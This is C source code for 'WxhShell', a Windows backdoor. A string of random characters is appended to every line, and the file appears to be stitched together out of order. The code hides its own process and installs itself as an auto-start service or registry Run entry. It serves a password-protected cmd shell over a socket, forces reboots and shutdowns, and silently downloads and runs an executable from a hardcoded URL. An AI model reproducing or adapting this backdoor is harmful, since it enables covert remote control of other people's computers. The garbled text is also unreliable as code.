    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nr]guC?rE  
    else { [=Nv=d<[p  
    closesocket(wsh); zqI|VH  
    ExitThread(0); pXh`o20I  
    } I!K-* AB  
    break; o4z|XhLr  
    } T`<Tj?:^&  
  // 获取shell [E2".F3  
  case 's': { UalwK  
    CmdShell(wsh); "EWq{l_I5$  
    closesocket(wsh); ;9J6)zg !n  
    ExitThread(0); 61HJ%  
    break; uLI;_,/:  
  } JZ-64OT  
  // 退出 G[OJ <px  
  case 'x': { qk0cf~ gz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c@4$)68  
    CloseIt(wsh); h_\W7xt  
    break; Lc-Wf zT  
    } &rG]]IO  
  // 离开 Gs04)KJm<  
  case 'q': { $h=v ;1"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vJx( lU`Y  
    closesocket(wsh); (gcy3BX;  
    WSACleanup(); j*1MnP3/8Y  
    exit(1); hW;n^\lF#e  
    break; mOLz(0  
        } -ni@+Dy  
  } j4=\MK  
  } ;LKYA?=/V  
x&EMg!  
  // 提示信息 rO/Sj<0^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b!"FM/ %  
} !)}z{,Jx  
  } k@[[vj|W  
p2+K-/}ApP  
  return; k%s,(2)30  
} {!.w}  
O\%0D.HEz  
// shell模块句柄 Q!7mN?l  
int CmdShell(SOCKET sock) {)Wa"|+  
{ Rdj^k^V+a1  
STARTUPINFO si; @x *,fk  
ZeroMemory(&si,sizeof(si)); >.XXB 5a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x{rjngp2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q yQ[H  
PROCESS_INFORMATION ProcessInfo; \y7Gi}nI  
char cmdline[]="cmd"; c<q~T >0k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N7X(gh2h  
  return 0; ,hT**(W  
} ;2sP3!*  
KWi|7z(L=  
// 自身启动模式 tejpY  
int StartFromService(void) 'Ir   
{ (4rHy*6  
typedef struct rj1%IzaXU^  
{ AF{@lDa1h  
  DWORD ExitStatus; RyWfoLc  
  DWORD PebBaseAddress; YnCuF0>  
  DWORD AffinityMask; {e., $'#  
  DWORD BasePriority; `sd H q  
  ULONG UniqueProcessId; V*@&<x"E  
  ULONG InheritedFromUniqueProcessId; ZHj7^y@P  
}   PROCESS_BASIC_INFORMATION; @TzUc E  
zMO xJ   
PROCNTQSIP NtQueryInformationProcess; ]2[\E~^KU  
B.gEV*@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CT<z1)#@^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;9Wimf]G,E  
cBCC/n  
  HANDLE             hProcess; %8P6l D  
  PROCESS_BASIC_INFORMATION pbi; byZj7q5&Q  
RE]*fRe7#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GW.Y= S  
  if(NULL == hInst ) return 0; ]RF(0;  
)}i2x:\|_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =">0\#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lr -+|>M)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =65XT^  
|n(b>.X  
  if (!NtQueryInformationProcess) return 0; +)_DaL E  
:8?l=B9("g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /6 y;fx  
  if(!hProcess) return 0; V[7D4r.j  
A\.{(,;kp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x Y}.mP  
[Qqss8a  
  CloseHandle(hProcess); ZiaFByLy  
,z+n@sUR:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #210 Yp#  
if(hProcess==NULL) return 0; K_qA[n  
&u (pBr8B  
HMODULE hMod; 8Qkwg]X  
char procName[255]; OY!WEP$F-C  
unsigned long cbNeeded; ydE}.0zN  
jd}~#:FUr*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #V Z js`d6  
ykxAm\O  
  CloseHandle(hProcess); I.%EYAai  
U1|{7.R  
if(strstr(procName,"services")) return 1; // 以服务启动 ?U2 'L2y  
Ir5E*op7D  
  return 0; // 注册表启动 SzUH6|=.R=  
} xp]9Z]J1l  
=^)$my\C:  
// 主模块 `t g=__D  
int StartWxhshell(LPSTR lpCmdLine) aZo>3z;  
{ QS-X_  
  SOCKET wsl; DMKtTt[}  
BOOL val=TRUE; [ o 6  
  int port=0; Hig.` P  
  struct sockaddr_in door; W/%9=g$m  
D\DwBZ>  
  if(wscfg.ws_autoins) Install(); 5hDPX \  
TR'_v[uK3  
port=atoi(lpCmdLine); d"lk"R  
q$}gQ9'z'  
if(port<=0) port=wscfg.ws_port; 71\GK  
o9OCgP`Y  
  WSADATA data; NezE]'}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MK!Aq^Jz  
mCQ:< #  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~/2OK!M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B}N1}i+  
  door.sin_family = AF_INET; r( zn1;zl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t&_X{!1X"w  
  door.sin_port = htons(port); &(|x-OT  
U8<C4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s/P+?8'9  
closesocket(wsl); cSmy M~[  
return 1; H9WXp&  
} e&NJj:Ph*  
GX*9R>  
  if(listen(wsl,2) == INVALID_SOCKET) { j%8 1q  
closesocket(wsl); l}D /1~d  
return 1; S&c5Q*->[  
} '7.4!I0'  
  Wxhshell(wsl); ( F4c0  
  WSACleanup();  gq} c  
IL"N_ux~w~  
return 0; UM^~a$t  
8<=sUO  
} 0*AXd=)"*  
qga?-oz,<6  
// 以NT服务方式启动 R|_._Btu!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r,P`$-  
{ NT9|``^Z  
DWORD   status = 0; *thm)Mn  
  DWORD   specificError = 0xfffffff; bE3mOml  
9A9T'g)Du  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &/g^J\0M)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ss\FSEN!/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F|8;Swb5  
  serviceStatus.dwWin32ExitCode     = 0; 8T"kQB.Zv  
  serviceStatus.dwServiceSpecificExitCode = 0; y-"QY[  
  serviceStatus.dwCheckPoint       = 0; 6LabFX@{&  
  serviceStatus.dwWaitHint       = 0; 7'|aEH  
t8*NldC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (?"z!dgc  
  if (hServiceStatusHandle==0) return; B_XX)y%V  
6wZ)GLW[  
status = GetLastError(); C3(h j  
  if (status!=NO_ERROR) :Vw{ l B  
{ 9VSi2p*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'p[B`Ft3F  
    serviceStatus.dwCheckPoint       = 0; r^ABu_u(`I  
    serviceStatus.dwWaitHint       = 0; 0: B%,n UM  
    serviceStatus.dwWin32ExitCode     = status; wGx H  
    serviceStatus.dwServiceSpecificExitCode = specificError; sFsf~|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Ww5@  
    return; g1Osd7\o  
  } [c v!YE  
-TS,~`O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R{Cbp=3J  
  serviceStatus.dwCheckPoint       = 0; K'f2 S  
  serviceStatus.dwWaitHint       = 0; `Io#440;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T>J ,kh  
} #G=AD/z  
Fe.90)  
// 处理NT服务事件,比如:启动、停止 [ B*r{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) > iYdr/^a  
{ Z EvK  
switch(fdwControl) )g KC}_h=  
{ g2A#BMe'.$  
case SERVICE_CONTROL_STOP: >B;KpO"+m  
  serviceStatus.dwWin32ExitCode = 0; ]kF1~kXBe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FOjX,@x&  
  serviceStatus.dwCheckPoint   = 0; t=fP^bJ  
  serviceStatus.dwWaitHint     = 0; :@-.whj  
  { @ 'U`a4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Xbf3So  
  } '~1Zr uO  
  return; nC)"% Sa  
case SERVICE_CONTROL_PAUSE: F@zTz54t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ImbA2Gcs  
  break; 3{wuifS  
case SERVICE_CONTROL_CONTINUE: 4vCUVo r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7U2B=]<e-  
  break; |I{3~+E h  
case SERVICE_CONTROL_INTERROGATE: !T 9CpIM%  
  break; 8~ &=vc  
}; .i^ @v<+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >7~,w1t  
} 9~jS_Y)"  
1qBE|PwBp  
// 标准应用程序主函数 "bQi+@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k;)mc+ ~+  
{ w^,Xa  
Mc$rsqDz  
// 获取操作系统版本 aIh} j,  
OsIsNt=GetOsVer(); *B9xL[}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ($W%&(:/  
}>V=J aG  
  // 从命令行安装 *zW]IQ'A  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ex skd}  
v5U'ky :  
  // 下载执行文件 Oqq' r"S  
if(wscfg.ws_downexe) { ze21Uj1x*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {JF"PAS7  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'yV*eG?^&  
} ]q4(%Q  
W=OryEV?  
if(!OsIsNt) { +;M 5Sp  
// 如果时win9x,隐藏进程并且设置为注册表启动 < RtyW  
HideProc(); m9+?>/R  
StartWxhshell(lpCmdLine); k!'+7K.  
} ?e,:x ]\L  
else >y(loMl  
  if(StartFromService()) 1b2  
  // 以服务方式启动 =E^/gc%X  
  StartServiceCtrlDispatcher(DispatchTable); %s^1de  
else G;EJ\J6@Yw  
  // 普通方式启动 o$V0(1N  
  StartWxhshell(lpCmdLine); ^7Z;=]8J  
%b2Hm9r+  
return 0; :"H? phk  
} 4:pgZz!  
4^ U%` 1  
F^S]7{  
$Sa7N%D  
=========================================== OhlK;hvdB*  
{TdxsE>  
;%^{Zybh  
!hHX8TD^J  
_*b`;{3  
jicH94#(]  
" %~8f0B|im  
S ?J(VJqE  
#include <stdio.h> pZ3sp!  
#include <string.h> T<NOL fk66  
#include <windows.h> [-\U)>MY(p  
#include <winsock2.h> .D\oKhV(  
#include <winsvc.h> 96J]g*o(uU  
#include <urlmon.h> Lo5pn  
USHQwn)%  
#pragma comment (lib, "Ws2_32.lib") d 2^/  
#pragma comment (lib, "urlmon.lib") K_-m:P  
Gv}Q/v   
#define MAX_USER   100 // 最大客户端连接数 H)EL0 Kv/  
#define BUF_SOCK   200 // sock buffer zufsmY4P  
#define KEY_BUFF   255 // 输入 buffer _VTpfeL@n  
y,6kL2DM  
#define REBOOT     0   // 重启 *[*q#b$j  
#define SHUTDOWN   1   // 关机 3la`S$c  
K<`W>2"  
#define DEF_PORT   5000 // 监听端口 Q"GM3?  
F`2h,i-9  
#define REG_LEN     16   // 注册表键长度 X%kJ3{  
#define SVC_LEN     80   // NT服务名长度 sUK|*y  
8#- Nx]VM  
// 从dll定义API c~;VvYu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X.[bgvm~C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ('$*QC.M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _ qwf3Q@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /e^) *r  
B3u/ y  
// wxhshell配置信息 5MKM;6cA&p  
struct WSCFG { |v5 ge3-  
  int ws_port;         // 监听端口 ~I%164B+/  
  char ws_passstr[REG_LEN]; // 口令 NGkxg:  
  int ws_autoins;       // 安装标记, 1=yes 0=no CQ^(/B^c  
  char ws_regname[REG_LEN]; // 注册表键名 <t*<SdAq>`  
  char ws_svcname[REG_LEN]; // 服务名 \ym^~ Q|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UK1)U)*+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b18f=<#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j3T)gFP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2FV@ ?x0po  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b-#lKW so  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D6+3f #k6  
"5O>egt  
}; CR%h$+dzy  
v+`'%E  
// default Wxhshell configuration R5(([C1  
struct WSCFG wscfg={DEF_PORT, vyB{35p$  
    "xuhuanlingzhe", (v|<" tv  
    1, $p&eS_f  
    "Wxhshell", 3dLqlJ^7B  
    "Wxhshell", M0\gp@Fe  
            "WxhShell Service", s/s&d pT*  
    "Wrsky Windows CmdShell Service", =Y6W Qf  
    "Please Input Your Password: ", '5[(QM5Gi&  
  1, 47 Bg[  
  "http://www.wrsky.com/wxhshell.exe", D %)L "5C  
  "Wxhshell.exe" ~{5v a  
    }; SK^(7Ws~0  
R8eBIJ/@_  
// 消息定义模块 NH}o`x/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _>kc:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XMT@<'fI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y 5=r r3%v  
char *msg_ws_ext="\n\rExit."; !>80p~L  
char *msg_ws_end="\n\rQuit."; wvxz:~M  
char *msg_ws_boot="\n\rReboot..."; 9p3~WA/M@  
char *msg_ws_poff="\n\rShutdown..."; Mx`';z8~  
char *msg_ws_down="\n\rSave to "; aX6}:"R2C  
6sQ;Z|!Pz  
char *msg_ws_err="\n\rErr!"; gO "G/  
char *msg_ws_ok="\n\rOK!"; z=g!mVK5  
#\n* Qg4p  
char ExeFile[MAX_PATH]; $x]/|u/9  
int nUser = 0; "VSx?74q  
HANDLE handles[MAX_USER]; Ak('4j!*}^  
int OsIsNt; YM'4=BlJHv  
CI$z+ zN  
SERVICE_STATUS       serviceStatus; 3oH/34jj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9&.md,U'  
qQG? k~r  
// 函数声明 ~u2f`67{  
int Install(void); ruB D ^-  
int Uninstall(void); g<M!]0OK  
int DownloadFile(char *sURL, SOCKET wsh); C58o="L3S  
int Boot(int flag); j>:N0:  
void HideProc(void); 7Re\*[)T  
int GetOsVer(void); ]4 c+{  
int Wxhshell(SOCKET wsl); .74C~{}$  
void TalkWithClient(void *cs); xP&7i'ag  
int CmdShell(SOCKET sock); 0H^*VUyW/  
int StartFromService(void); Q1x&Zm1v  
int StartWxhshell(LPSTR lpCmdLine); Lw_|o[I}  
X#JUorGp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oQu>Qr{Zp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |Rkw/5  
K/f-9hE F  
// 数据结构和表定义 5|K[WvG@Co  
SERVICE_TABLE_ENTRY DispatchTable[] = YW/V}C'>  
{ U4K ZPk  
{wscfg.ws_svcname, NTServiceMain}, Cb+$|Kg/"b  
{NULL, NULL} .udLMS/_  
}; !bYVLFp=\_  
Ry]9n.y  
// 自我安装 g0U?`;n$  
int Install(void) #G F.M,O/h  
{ 3 e1-w$z&S  
  char svExeFile[MAX_PATH]; Uuu2wz3O0  
  HKEY key; :H m'o}  
  strcpy(svExeFile,ExeFile); Xo~q}(ze^  
 HB'9&  
// 如果是win9x系统,修改注册表设为自启动 -aok]w m  
if(!OsIsNt) { 6?KUS}nRS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zb!1o0, J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .IdbaH _a  
  RegCloseKey(key); 4* >j:1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )?(Ux1:w)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ln=fq:  
  RegCloseKey(key); EC[]L'IL  
  return 0; :adz~L$  
    } 2z;3NUL$n  
  } WlvT&W  
} 4=|Q2qgFV  
else { j8[U}~*^  
2-8Dc4H]r  
// 如果是NT以上系统,安装为系统服务 0NZ'(qf~9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >uq0}HB$a  
if (schSCManager!=0) C12V_)~2  
{ |/n7(!7$[v  
  SC_HANDLE schService = CreateService ^tG,H@95  
  ( ly[d V.<P  
  schSCManager, ``VE<:2+  
  wscfg.ws_svcname, i.)n#@M2  
  wscfg.ws_svcdisp, !<=zFy[J.9  
  SERVICE_ALL_ACCESS, n(eo_.W2|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5!qf{4j  
  SERVICE_AUTO_START, *p\Zc*N;%  
  SERVICE_ERROR_NORMAL, Kd+E]$F_OH  
  svExeFile, K2xHXziQ  
  NULL, : q%1Vi  
  NULL, tNzO1BK  
  NULL, np6G~0Y`  
  NULL, 2v4K3O60G  
  NULL } f&=}  
  ); Zf!Q4a"  
  if (schService!=0) ,;w~ VZ4  
  { klFS3G  
  CloseServiceHandle(schService); sV{\IgH/x  
  CloseServiceHandle(schSCManager); "D_:`@V(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 59l9_yFJ  
  strcat(svExeFile,wscfg.ws_svcname); ^$lZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $u~ui@kB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q> y!  
  RegCloseKey(key); X5J)1rL  
  return 0; >(igVaZ>  
    } JXe~ 9/!  
  } L@AFt)U  
  CloseServiceHandle(schSCManager); J.4U;A5  
} ]9/A=p?J@  
} 8YlZ({f  
r.#r!.6 q  
return 1; r1%{\<   
} %?gG-R  
a"U3h[;$y  
// 自我卸载 -sJD:G,%  
int Uninstall(void) q&v~9~^}d  
{ E:**gvfq  
  HKEY key; 8o%Vn'^t  
{X(nn.GpC  
if(!OsIsNt) { @#,/6s7?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FD 8Lk  
  RegDeleteValue(key,wscfg.ws_regname); g&2g>]  
  RegCloseKey(key); ?|W3RK;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bt@?l]Y  
  RegDeleteValue(key,wscfg.ws_regname); zc)nDyn  
  RegCloseKey(key); _p0Yhju?  
  return 0; Evm3Sm!S  
  } [=jZP,b&),  
} k $gcQ:|  
} Sj(>G;  
else { vJ'22)n  
{*O+vtir%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bv@p9 ] n  
if (schSCManager!=0) <H60rON  
{ +CBN[/Z^i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yVK ; "  
  if (schService!=0) c{y'&3\  
  { |f$+|9Q?  
  if(DeleteService(schService)!=0) { a}NB6E)-  
  CloseServiceHandle(schService); !vu-`u~86  
  CloseServiceHandle(schSCManager); # 2^H{7  
  return 0; #`|Nm3b  
  } V9"R8*@-  
  CloseServiceHandle(schService); ig.Z,R3@r  
  } _%2ukuJ `  
  CloseServiceHandle(schSCManager); &57~i=A 3  
} uVU)LOx  
} 7MrHu2rZ=  
RNB&!NC  
return 1; }9\6!GY0  
} 61kSCu  
IWq\M,P  
// 从指定url下载文件 i&6U5Va,G  
int DownloadFile(char *sURL, SOCKET wsh) vPYHM2  
{ /FXvrH(  
  HRESULT hr; T>nH=  
char seps[]= "/"; 1 PdG1'  
char *token; fG>3gS6&  
char *file; *Ts$Hj[  
char myURL[MAX_PATH]; "QXnE^  
char myFILE[MAX_PATH]; kK4 a;j.#  
q6-o!>dLQ  
strcpy(myURL,sURL); -d4 v:Jab  
  token=strtok(myURL,seps); ]FVJQS2h  
  while(token!=NULL) ;AOLbmb)H4  
  { nsi? .c&0!  
    file=token; ZXb{-b?[`  
  token=strtok(NULL,seps); bskoi;)u  
  } D^%IFwU^  
aB;f*x  
GetCurrentDirectory(MAX_PATH,myFILE); ~Oq _lM  
strcat(myFILE, "\\"); 7M~/ q.  
strcat(myFILE, file); ?C fQwY#N  
  send(wsh,myFILE,strlen(myFILE),0); }W 5ks-L6  
send(wsh,"...",3,0); 71[?AmxV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~3gazTe9  
  if(hr==S_OK) l@GJcCufE  
return 0; hE=xS:6  
else 6ZHeAb]"  
return 1; 3^wHL:u  
!6X6_ +}M  
} rM= :{   
Lwi"K8.u  
// 系统电源模块 e'$[PF  
int Boot(int flag) qQ)1+^  
{ -|}?+W  
  HANDLE hToken; 9rz$c, Y(  
  TOKEN_PRIVILEGES tkp; n^{h@u  
d*Mqs}8  
  if(OsIsNt) { fNAW4I I}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $[`rY D/.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F%p DF\  
    tkp.PrivilegeCount = 1; ["&{^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /Q7q2Ne^*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aG;F=e  
if(flag==REBOOT) { H:hM(m0?q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w`8H=Hf  
  return 0; -V4{tIQY  
} qVfn(rZ  
else { HM)D/CO,?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b6k_u9m^E  
  return 0; @R`6j S_gK  
} D ON.)F  
  } E@k'uyIu  
  else { `!N}u  
if(flag==REBOOT) { ? Pi|`W   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5%9Uh'y#  
  return 0; VS ECD;u4c  
} uZL,%pF3A  
else { K!9K^h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /77cjesZ9  
  return 0; dO2?&f  
} <S7SH-{_\  
} j$_?g!I=gK  
^cPVnl  
return 1; lbt8S.fx  
} D1-w>Y#  
pm=O.)g4`  
// win9x进程隐藏模块 Ag\RLJ.KD  
void HideProc(void) 5>%^"f  
{ U`3?bhzua  
x^)?V7[t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6p)&}m9!  
  if ( hKernel != NULL ) J/Y9X ,  
  { 55.2UN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PCaFG;}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N`IXSE  
    FreeLibrary(hKernel); ~),%w*L  
  } /y{fDCC  
?,riwDI 2  
return; AKjobA#  
} /f?;,CyI  
#FAW@6QG  
// 获取操作系统版本 /2T  W?a  
int GetOsVer(void) \;'#8  
{ d!T,fz/-.  
  OSVERSIONINFO winfo; 4$vUD1('  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v7@"9Uw}  
  GetVersionEx(&winfo); 5|eX@?QF58  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J&'*N :d  
  return 1; yw+]S  
  else 7Z:HwZ  
  return 0; ~b#<HG\,,  
} t*Ro2QZ  
1WqCezI  
// 客户端句柄模块 -a_qZ7  
int Wxhshell(SOCKET wsl) }*9F`=%F  
{ ]7k:3"wH  
  SOCKET wsh; ~u1~%  
  struct sockaddr_in client; t1iz5%`p}  
  DWORD myID; N)H+N g[  
uZ_?x~V/  
  while(nUser<MAX_USER) ,^mEi  
{ y~]D402Cx  
  int nSize=sizeof(client); ) C~#W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  Rh6CV  
  if(wsh==INVALID_SOCKET) return 1; j8e=],sQ  
&/^p:I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); & ;5f/  
if(handles[nUser]==0) e^~dx}X  
  closesocket(wsh); 9.dZA9l@g  
else a>4q"IT6  
  nUser++; ,V]FAIJ  
  } z"7?I$N Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T;Kv<G;  
J_&cI%.  
  return 0; vxPr)"Vvz  
} tq}sedYhee  
6v:L8 t$"  
// 关闭 socket * wqR.n?  
void CloseIt(SOCKET wsh) xG edY*[`  
{ GBg  
closesocket(wsh);  Iw?^  
nUser--; d=+zOF  
ExitThread(0); 3C=QWw?  
} dMjQV&  
t4;gY298  
// 客户端请求句柄 ={o4lFe3v(  
void TalkWithClient(void *cs) KMb'm+  
{ ;dZZOocV1  
7mi=Xa:U  
  SOCKET wsh=(SOCKET)cs; -u~:Gd*l0  
  char pwd[SVC_LEN]; ?S=y>b9R  
  char cmd[KEY_BUFF]; dmkGIg}  
char chr[1]; k "7,-0gz  
int i,j; d/oD]aAEr  
h8.(Q`tli  
  while (nUser < MAX_USER) { 8TH;6-RT  
dQH8s  
if(wscfg.ws_passstr) { {7IZN< e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {be|G^.c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \hlS?uD\  
  //ZeroMemory(pwd,KEY_BUFF); TGG=9a]m  
      i=0; mg70%=qM0f  
  while(i<SVC_LEN) { j4@6`[n:  
|iSwG=&  
  // 设置超时 2XBHo (  
  fd_set FdRead; 4s>L]! W$8  
  struct timeval TimeOut; *}HDq(/>w  
  FD_ZERO(&FdRead); F @t\D?  
  FD_SET(wsh,&FdRead); w"M!**bP  
  TimeOut.tv_sec=8; 4M>]0%3.D  
  TimeOut.tv_usec=0; mrsN@(X0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3\ )bg R:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); It3@ Cd>  
d\A7}_r*x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~Odclrs  
  pwd=chr[0]; &BKnJ {,H  
  if(chr[0]==0xd || chr[0]==0xa) { U[yA`7Zs}  
  pwd=0; gQhYM7NP{5  
  break; c2GTN"  
  } k?3mFWc  
  i++; ^N ;TCn  
    } th"Aatmp  
]B&jMj~y&  
  // 如果是非法用户,关闭 socket o"N\l{#s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ek06=2i  
} +m}D.u*cp  
g rQ,J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Rdj3dg'<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J +Y?'"r  
Bq4@I_b  
while(1) { .Q</0*sp  
I A=\c  
  ZeroMemory(cmd,KEY_BUFF); ]U4C2}u  
p*zTuB~e<  
      // 自动支持客户端 telnet标准   @1k-h;`,  
  j=0; tnb'\}Vn  
  while(j<KEY_BUFF) { E7SmiD@)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n*AN/LBp  
  cmd[j]=chr[0]; N^[MeG,8  
  if(chr[0]==0xa || chr[0]==0xd) { 5P);t9O6  
  cmd[j]=0; Ho%%voJBS  
  break; b\NY!)B  
  } bWCtRli}  
  j++; #'#@H  
    } *gwo.s  
X"f]  
  // 下载文件 h^H)p`[Gme  
  if(strstr(cmd,"http://")) { A}uWy^w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yi-)4#YN  
  if(DownloadFile(cmd,wsh)) [w  FK!?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _lH:%E*  
  else (c3O> *M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,k:>Z&:  
  } &xC5Mecb*  
  else { HXB & 6  
